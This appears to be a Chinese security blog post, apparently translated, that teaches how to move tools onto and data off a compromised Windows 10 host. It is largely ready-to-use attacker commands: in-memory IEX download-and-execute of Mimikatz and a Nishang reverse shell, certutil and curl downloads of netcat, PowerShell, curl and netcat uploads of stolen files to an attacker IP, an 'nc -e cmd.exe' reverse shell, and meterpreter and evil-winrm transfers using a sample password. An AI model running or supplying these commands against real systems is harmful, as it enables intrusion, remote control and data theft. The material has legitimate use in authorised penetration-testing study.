现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
在这篇文章中,我们将深入探讨文件传输的艺术。我们将介绍如何将文件从攻击者计算机传输到受害者 Windows 10 主机(下载),以及如何从受害者 Windows 10 主机传输回攻击者计算机(上传)的各种技术。
作为黑客,我们经常发现我们需要向受害者投放工具,或者需要将我们的漏洞下载到内存中。无论哪种方式,我们都需要知道如何将这些工具或漏洞发送给受害者,更重要的是,我们需要知道实现这一目标的多种方法。
1.从攻击者的HTTP服务器下载文件
有很多方法可以在我们的攻击者机器上启动 HTTP 服务器;然而,最常见的方法是使用 Python 和 Apache。
使用 Python,您可以从任何目录启动 HTTP 服务器;然而,Apache 有一个 webroot 目录,默认情况下通常是/var/www/html。
要启动 Apache Web 服务器,请将要向受害者提供的文件放在/var/www/html中,然后运行命令:
systemctl start apache2
systemctl restart apache2
python -m SimpleHTTPServer 80
python3 -m http.server 80
我个人使用 Python HTTP 服务器的次数多于任何其他方法。当针对受害者时,我将在攻击者计算机上创建一个特定于我的目标主机的工作目录。然后我可以将用于特定漏洞利用的任何工具复制到该目录中。此外,我还在攻击者计算机上保留了一个 Windows 漏洞利用文件夹,其中包含我使用的所有常见漏洞利用和 PowerShell 脚本。这使我能够准备好一切,从任一目录为受害者提供服务,同时保持我的漏洞利用位置井井有条。
使用 Python 的一个好处是它可以在终端窗口中记录 HTTP 服务器上的活动。这使您可以确认文件已下载。或者,如果您发现了盲 RCE 漏洞并需要确认其是否有效,也可以使用此方法。您可以使用以下命令之一来触摸 HTTP 服务器,然后检查日志。如果日志进来,你就知道你有盲 RCE。
现在我们已经了解了如何启动 HTTP 服务器,接下来让我们探讨一下从 HTTP 服务器将文件下载到受害者的各种方法。
从攻击者计算机下载文件的最简单方法是使用受害者上的浏览器导航到我们的 HTTP 服务器。
PowerShell 有一个名为 Invoke-WebRequest 的内置函数,可用于从 HTTP 服务器下载文件,如下所示:
IWR -Uri http://172.16.1.30/nc.exe -OutFile C:\temp\nc.exe
(New-Object System.Net.WebClient).DownloadFile('http://172.16.1.30/nc.exe', 'C:\temp\nc.exe')
IEX(New-Object System.Net.WebClient).DownloadString('http://172.16.1.30/Invoke-Mimikatz.ps1')
根据我的经验,IEX 仅适用于将 PS1 脚本和 BATCH (.BAT) 文件下载并执行到内存中。这不会将 EXE 文件下载并执行到内存中。
当PowerShell脚本被下载并直接执行到内存中时,它会将脚本加载到当前会话中,以便可以执行脚本函数。但是,由于执行策略,这可能会带来问题。为了绕过这个问题,我们可以在 PS1 脚本的底部硬编码一个函数/命令,当脚本下载到内存中执行时,它也会执行底部的硬编码命令。
例如,我使用的常见 PowerShell 脚本名为Invoke-PowerShellTcp.ps1,来自 Nishang 脚本集合。
https://github.com/samratashok/nishang
Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.30 -Port 443
IEX(New-Object System.Net.WebClient).DownloadString('http://172.16.1.30/Invoke-PowerShellTcp.ps1')
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://172.16.1.30/Invoke-PowerShellTcp.ps1')"
从 cmd.exe 提示符下载文件到受害者的最常见技术是使用certutil.exe。Certutil 的主要功能是转储和显示证书颁发机构 (CA) 配置信息。但是,当使用-f、-split和-urlcache开关时,您可以从任何 URL 下载任何文件!
certutil.exe -urlcache -split -f "http://172.16.1.30/nc.exe" C:\temp\nc.exe
curl.exe 172.16.1.30/wget.exe -o C:\temp\wget.exe
我特意下载了wget.exe来表示可以……我们也可以使用wget.exe来下载文件。然而,由于它不是内置的,我们需要建立一种传输文件的方法,以便将其传输到我们的受害者计算机上。虽然绝对值得一提,但在我看来,它有点多余,因为它不能成为首选。
除了 certutil.exe 之外,还有许多其他内置二进制文件可用于下载文件。如果您有兴趣通过学习如何滥用内置二进制文件和“靠土地为生”来提高您的黑客游戏水平,请查看此处的LOLBAS 项目。
https://lolbas-project.github.io/
2.将文件上传到攻击者的HTTP服务器
从 Apache Web 服务器开始,我们可以通过编写 PHP 上传脚本来设置上传文件的方法。
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
mkdir /var/www/uploads
chown www-data:www-data /var/www/uploads
创建了允许我们上传文件所需的文件和目录后,现在我们需要做的就是使用systemctl start apache2启动 Apache ,然后我们就可以将文件从受害者上传到攻击者计算机。
此外,我们可以使用此处找到的名为SimpleHTTPServerWithUpload.py的 Python 脚本来启动接受 POST 请求并上传文件的 HTTP 服务器。
https://github.com/Tallguy297/SimpleHTTPServerWithUpload/blob/master/SimpleHTTPServerWithUpload.py
复制原始代码,然后使用文本编辑器将代码粘贴到名为SimpleHTTPServerWithUpload.py的文件中。之后,授予脚本执行权限。
python3 SimpleHTTPServerWithUpload.py 80
Python Web服务器可以像原来的HTTP服务器一样在浏览器中访问;不过,这次它配备了易于使用的上传功能。
使用 SimpleHTTPServerWithUpload.py,您仍然可以获得下载文件的常规目录列表,并具有 GUI 上传功能的额外好处,该功能可用于轻松地将文件渗漏回攻击者计算机。
在 PowerShell 提示符下,我们可以执行以下命令将文件夹上传到 Python HTTP 服务器:
(New-Object System.Net.WebClient).UploadFile('http://172.16.1.30/', 'C:\temp\supersecret.txt')
(New-Object System.Net.WebClient).UploadFile('http://172.16.1.30/upload.php', 'C:\temp\supersecret.txt')
就像我们之前看到的那样,通过在上面的 PowerShell 命令前面添加powershell -c并将其用双引号引起来,我们可以从 cmd.exe 提示符执行它:
powershell.exe -c "(New-Object System.Net.WebClient).UploadFile('http://172.16.1.30/upload.php', 'C:\temp\supersecret.txt')"
curl.exe -F 'file=@C:\\temp\\supersecret.txt' http://172.16.1.30
curl.exe -F 'file=@C:\\temp\\supersecret.txt' http://172.16.1.30/upload.php
3.从攻击者的FTP服务器下载文件
如果您还没有 pyftdlib,则可以使用以下命令下载 Python2 版本:pip install pyftpdlib或使用python3 pip install pyftdlib或pip3 install pyftpdlib 下载 Python3 版本
导航到包含要传输给受害者的文件的目录,然后使用以下命令启动 FTP 服务器:
python3 -m pyftpdlib -w -p 21
其中“ -w ”允许写入权限,将文件上传到 FTP 服务器时需要此信息。
这将创建一个允许匿名访问的 FTP 服务器。
回到受害者,我们可以通过几种不同的方式从 FTP 服务器下载文件。
我们看到文件下载成功并返回到我们的攻击者计算机上,我们可以在 FTP 日志中看到用户签入并下载了该文件。
幸运的是,我们可以创建一个 TXT 文件,该文件可以输入 ftp.exe 并逐行执行,从而使我们仍然可以利用 FTP 作为无需 GUI 传输文件的方法。
这种技术也很酷,因为 TXT 文件必须在受害者身上制作。这样就不需要传输文件才能传输文件 - 因为这是多余的!
我们必须在受害者上制作 TXT 文件,因为 Linux 和 Windows 对 TXT 文件使用不同的编码。Linux 使用 UTF8,Windows 使用 ASCII。
首先,我们将使用以下命令制作 ftp.txt 文件:
echo open 172.16.1.30 > ftp.txt
echo USER anonymous >> ftp.txt
echo PASS anonymous >> ftp.txt
echo binary >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
如果您要下载非二进制文件,只需从上面的命令中删除“echo binary >> ftp.txt”行即可。
现在我们已经制作了 ftp.txt 文件,我们可以使用以下命令将其输入到 ftp.exe 中,它将在其中逐行执行:
ftp.exe -v -n -s:ftp.txt
有时我尝试使用 cmd.exe 方法从 FTP 下载文件但失败。但随后,使用 ascii 编码测试 PowerShell 版本,它起作用了。
echo "open 172.16.1.30" | Out-File .\ftp.txt -encoding ascii
echo "USER anonymous" | Out-File .\ftp.txt -encoding ascii -append
echo "PASS anonymous" | Out-File .\ftp.txt -encoding ascii -append
echo "binary" | Out-File .\ftp.txt -encoding ascii -append
echo "GET nc.exe" | Out-File .\ftp.txt -encoding ascii -append
echo "bye" | Out-File .\ftp.txt -encoding ascii -append
这将在当前目录中创建 ftp.txt;执行时会将GET命令指定的文件下载到当前目录。
现在我们可以再次使用命令ftp.exe -v -n -s:ftp.txt连接到我们的 FTP 服务器并逐行执行 ftp.txt 文件。
4. 上传文件到攻击者的FTP服务器
为了上传到 FTP 服务器,我们使用与从 FTP 服务器下载完全相同的技术。唯一的区别是我们将 GUI 会话和 ftp.txt 文件中的“GET”更改为“PUT”。
要将文件从 PowerShell 上传到 FTP 服务器,我们使用以下命令集来制作 ftp.txt 文件:
echo "open 172.16.1.30" | Out-File .\ftp.txt -encoding ascii
echo "USER anonymous" | Out-File .\ftp.txt -encoding ascii -append
echo "PASS anonymous" | Out-File .\ftp.txt -encoding ascii -append
echo "PUT supersecret.txt" | Out-File .\ftp.txt -encoding ascii -append
echo "bye" | Out-File .\ftp.txt -encoding ascii -append
我们对用于将 ftp.txt 文件制作为“PUT”而不是“GET”的 PowerShell 命令进行了相同的更改,我们还将对 cmd.exe 版本进行更改:
echo open 172.16.1.30 > ftp.txt
echo USER anonymous >> ftp.txt
echo PASS anonymous >> ftp.txt
echo PUT supersecret.txt >> ftp.txt
echo bye >> ftp.txt
5.与攻击者的SMB服务器之间传输文件
https://github.com/fortra/impacket
从要传输到受害者的工具/文件所在的目录中,使用以下命令将该目录转换为共享:
impacket-smbserver hax $(pwd) -smb2support
要将文件从攻击者共享复制到受害者,请使用以下命令:
copy \\172.16.1.30\hax\nc.exe C:\temp\nc.exe
同样,我们可以通过反转命令将文件从受害者复制到攻击者计算机:
copy C:\temp\supersecret.txt \\172.16.1.30\hax\supersecret.txt
对于此示例,在攻击者计算机上的端口 443 上启动 netcat 侦听器,然后在受害者上执行以下命令:
\\172.16.1.30\hax\nc.exe 172.16.1.30 443 -e cmd.exe
6.使用Netcat从攻击者处传输文件
使用 netcat,我们可以将文件从攻击者机器传输到受害者,也可以从受害者传输到攻击者机器。
关于受害者(第一):
C:\temp\nc.exe -nvlp 443 > mimikatz.exe
当受害者侦听器运行并准备好捕获我们发送的文件并将其保存为 mimikatz.exe 时,我们可以继续从攻击者计算机将 mimikatz.exe 推送到受害者。
关于攻击者(第二个):
nc 172.16.1.100 443 < mimikatz.exe
一旦我们的攻击者机器连接到受害者,它将向我们显示在侦听器上建立的连接。
此时,攻击者和受害者都会出现提示。但是,传输只需要几秒钟(如果是大文件,可能会更长),因此为了安全起见,让提示挂起大约一分钟,然后使用CTRL + C取消攻击者端的连接。
我们想要取消攻击者端的连接,这样我们就不会杀死受害者的 shell。一旦我们取消连接,在受害者反向 shell 上按 Enter 几次,您的提示就会重新出现。
检查文件,我们可以看到在将文件大小与攻击者计算机上的原始文件大小进行比较后,它已完整传输。
关于受害者(第一):
C:\temp\nc.exe -nvlp 443 | Out-File -FilePath C:\temp\mimikatz.exe
从这里开始,其他一切都与 cmd.exe 示例相同:从攻击者处推送文件,等待 1 分钟,终止攻击者的连接,然后检查双方的文件大小是否匹配。
7.使用Netcat将文件传输给攻击者
7.1使用Netcat将文件从受害者传输给攻击者:cmd.exe
关于攻击者(第一):
nc -nvlp 443 > supersecret.txt
关于受害者(第二):
C:\temp\nc.exe 172.16.1.30 443 < C:\temp\supersecret.txt
提示将像之前一样挂在两侧,几秒钟后我们可以使用CTRL + C取消与攻击者计算机的连接。之后,我们可以检查文件以确保其完整下载。
关于受害者(第二):
cat C:\temp\supersecret.txt | C:\temp\nc.exe 172.16.1.30 443
8.使用Meterpreter下载和上传文件
如果您成功地使用 Metasploit 攻击了一台机器,并通过 meterpreter 提示符在受害者身上站稳了脚跟,那么您可以使用内置的上传和下载功能与受害者之间传输文件。
您还可以使用 msfvenom 制作 meterpreter 负载,然后将其传输给受害者,从常规 shell 升级到 meterpreter shell。一旦有效负载位于受害者上,启动多处理程序侦听器,然后执行有效负载,您将在多处理程序上拥有一个 meterpreter shell。
无论您是通过漏洞利用还是升级获得 meterpreter shell,您都可以使用 meterpreter 的内置上传功能将文件从攻击者计算机传输到受害者。
upload /opt/Windows/exploits/executables/mimikatz.exe C:\\temp\\mimikatz.exe
就像我们使用upload命令将文件从攻击者下载到受害者上一样,我们也可以使用download命令将文件从受害者上传或泄露回攻击者计算机。
download C:\\temp\\supersecret.txt /opt/Juggernaut/JUGG-efrost/supersecret.txt
9.使用evil-winrm下载和上传文件
https://github.com/Hackplayers/evil-winrm
这个例子有一些具体的要求,但绝对值得一提。
假设在我们开始进行 nmap 扫描时,我们发现 WinRM 正在端口 5985 上运行。经过一些枚举,我们找到了远程管理用户组中帐户的一组凭据。满足这两个条件后,我们就可以使用 evil-winrm 在受害者上获得反向 shell。
evil-winrm -u backup_svc -p 'Makemoney1!' -i 172.16.1.10
就像我们使用 meterpreter 时一样,evil-winrm 也有一个内置的上传功能,允许我们将文件从攻击者机器传输到受害者。
upload /opt/Windows/exploits/executables/mimikatz.exe C:\temp\mimikatz.exe
就像我们使用upload命令将文件从攻击者下载到受害者上一样,我们也可以使用download命令将文件从受害者上传或泄露回攻击者计算机。
download C:\temp\supersecret.txt /opt/Juggernaut/JUGG-Backup/supersecret.txt
对于最后一个例子,我想快速概述一下 evil-winrm 所具有的一些功能。对于邪恶的winrm,有两个不同的开关值得一提,它们是“ -e ”开关和“ -s ”开关:
“ -e ”开关用于在攻击者计算机上设置一个目录,该目录可用于直接在受害者上执行二进制(EXE)文件。
“ -s ”开关用于设置攻击者计算机上的目录,可用于直接在受害者上执行 PS1 脚本。
evil-winrm -u backup_svc -p 'Makemoney1!' -i 172.16.1.10 -e /opt/Windows/exploits/executables -s /opt/Windows/exploits/Powershell
从这里我们可以看到,我们将能够使用evil-winrm直接在内存中执行winPEASx64.exe。但是,对于任何非 .NET 程序集二进制文件(例如 nc.exe),我们只需将它们下载到受害者上即可。
现在我们已经了解了如何将可执行文件从攻击者计算机直接加载到受害者的内存中,让我们看看如何加载 PS1 脚本,因为我们还使用了 -s开关。
将PS1 脚本加载到evil-winrm 会话中就像按名称执行任何脚本一样简单。由于-s开关指向我们的脚本目录,因此我们可以双击来查看所有可用的 PS1 脚本。
要将脚本加载到evil-winrm,只需输入脚本名称并按回车键即可。无论脚本有什么功能,您都可以在菜单中看到它们。
现在,我们可以在Invoke-Rubeus函数加载到当前会话中时执行该函数,并使用该脚本,而无需将其下载到受害者上。
关注我们
还在等什么?赶紧点击下方名片开始学习吧!
信 安 考 证
CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...
推 荐 阅 读